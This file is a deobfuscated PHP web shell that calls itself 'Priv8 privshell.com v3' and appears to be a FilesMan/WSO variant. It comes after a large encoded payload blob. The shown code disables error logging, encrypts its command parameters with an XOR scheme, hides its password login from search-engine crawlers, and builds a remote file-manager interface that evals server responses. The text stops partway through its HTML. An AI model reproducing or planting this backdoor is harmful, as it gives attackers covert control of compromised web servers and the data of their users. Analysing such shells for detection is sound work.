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";
eval /* PHPDeobfuscator eval output */ {
    ?><script type="text/javascript" src="http://ff.kis.v2.scr.kaspersky-labs.com/FD126C42-EBFA-4E12-B309-BB3FDD723AC1/main.js?attr=llEUyp6ljQIg6CSTUm7CbgDsyqot-2nMdTME9vqyN2-K7qsJnkArI5r2XHOqTAtg" charset="UTF-8"></script><?php 
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('display_errors', 0);
    @ini_set('max_execution_time', 0);
    @ini_set('output_buffering', 0);
    $asciifnc1 = true;
    $asciifnc2 = 'utf-8';
    $asciifnc3 = 'FilesMan';
    $asciifnc4 = md5($_SERVER['HTTP_USER_AGENT']);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
        prototype(md5($_SERVER['HTTP_HOST']) . "key", $asciifnc4);
    }
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $asciifnc2;
    }
    if (!isset($_POST['ne'])) {
        if (isset($_POST['a'])) {
            $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['c'])) {
            $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p1'])) {
            $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p2'])) {
            $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p3'])) {
            $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
    }
    function decrypt($str, $pwd)
    {
        $pwd = base64_encode($pwd);
        $str = base64_decode($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return base64_decode($enc_str);
    }
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    if (version_compare(PHP_VERSION, '5.3.0', '<')) {
        set_magic_quotes_runtime(0);
    }
    @define('VERSION', 'Priv8 privshell.com v3');
    if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
        $_COOKIE = stripslashes_array($_COOKIE);
    }
    /* (С) 11.2011 oRb */
    if (!empty($asciifnc5)) {
        if (isset($_POST['pass']) && md5($_POST['pass']) == $asciifnc5) {
            prototype(md5($_SERVER['HTTP_HOST']), $asciifnc5);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $asciifnc5) {
            hardLogin();
        }
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $asciifnc1;
    }
    function hardLogin()
    {
        if (!empty($_SERVER['HTTP_USER_AGENT'])) {
            $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
            if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                header('HTTP/1.0 404 Not Found');
                exit;
            }
        }
        die("</br></br></br>\r\n\r\n\t<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style><body><pre align=center><form method=post style='color:#ffffff;text-align: center;'><img src='https://i.imgur.com/4Fq8k1E.png' align='center'><br><br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='Submit' style='border:none;background-color:#1e252e;color:#fff;cursor:pointer; '></form></pre> </body>");
    }
    if (strtolower("PHP") == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    if (!$safe_mode) {
        error_reporting(0);
    }
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    function hardHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['asciifnc2'];
        }
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title> " . VERSION . "</title>\r\n\t<link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet'>\r\n<style>\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); }\r\n\r\n\tcanvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url('https://i.imgur.com/gL0UG8Y.png'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000; background-image:url('https://i.imgur.com/hLcQCBx.gif'); }\r\n\tspan,h1,a\t{color:#ffb101 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ffb101;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000; background-image:url('https://i.imgur.com/hLcQCBx.gif');}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Open Sans', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type='submit']{background-color:#ffb101bd;}\r\n\tinput[type='button']{background-color:#ffb101;}\r\n\tinput[type='submit']:hover{background-color:#ffb101bd;}\r\n\tinput[type='button']:hover{background-color:#ffb101;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt 'Open Sans', sans-serif;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden 